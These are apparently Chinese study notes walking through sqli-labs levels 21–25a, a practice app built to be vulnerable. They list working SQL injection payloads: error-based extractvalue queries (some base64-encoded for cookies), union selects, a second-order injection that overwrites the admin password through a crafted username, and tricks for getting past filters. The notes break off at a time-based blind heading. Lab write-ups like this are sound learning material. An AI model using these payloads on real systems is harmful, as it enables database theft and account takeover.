Less21
代码分析
payload
D')and extractvalue(1,concat(0x7e,(select database()),0x7e))#
base64转码后:
RCcpYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZGF0YWJhc2UoKSksMHg3ZSkpIw==
用burp抓第二个页面刷新重新获取cookie的数据包
Less22
代码分析
payload
RCJhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSkj
Less23
代码分析
-1' union select 1,version(),'3
#使用-1是为了让第一个select语句查询为空值,从而显示后边的select语句查询的内容
Less24
本关是关于二次排序的示例
二次排序注入思路:
- 黑客通过构造数据的形式,在浏览器或者其他软件中提交 HTTP 数据报文请求到服务 端进行处理,提交的数据报文请求中可能包含了黑客构造的 SQL 语句或者命令。
- 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的 数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响 应。
- 黑客向服务端发送第二个与第一次不相同的请求数据信息。
- 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库 中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的 SQL 语句或者命令在服 务端环境中执行。
- 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注 入漏洞利用是否成功。
此例中我们先注册一个admin#的账号,然后再修改密码
//pass_change.php第38行代码
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
注入过程:
$sql = "update users set password = 'payload' where username = 'admin#' and password='$curr_pass'";
1.先注册admin’#账户
2.登录后修改密码时可以改掉原本admin的密码
这个二次排序注入漏洞可以修改他人账户的密码。利用的是账号注册时过滤不严格,使用了sql语句中的注释符#,还可以使用–+
代码分析
Less25
代码分析:
' union select 1,database(),user()--+
不含or,and的语句可以注入成功。
使用报错语句时and,or绕过方法
1.大小写变形
2.双写绕过 oorr,aandnd
3.url,hex编码
4.添加注释/*or*/
5.利用符号 and=>&& or=>||
报错注入绕过or示例
http://127.0.0.1/sqli-labs-master/Less-25/?id=1%27oorr%20extractvalue(1,concat(0x7e,@@datadir))--+
Less25a
代码分析
1.联合注入
-1 union select 1,database(),user()#
2.时间盲注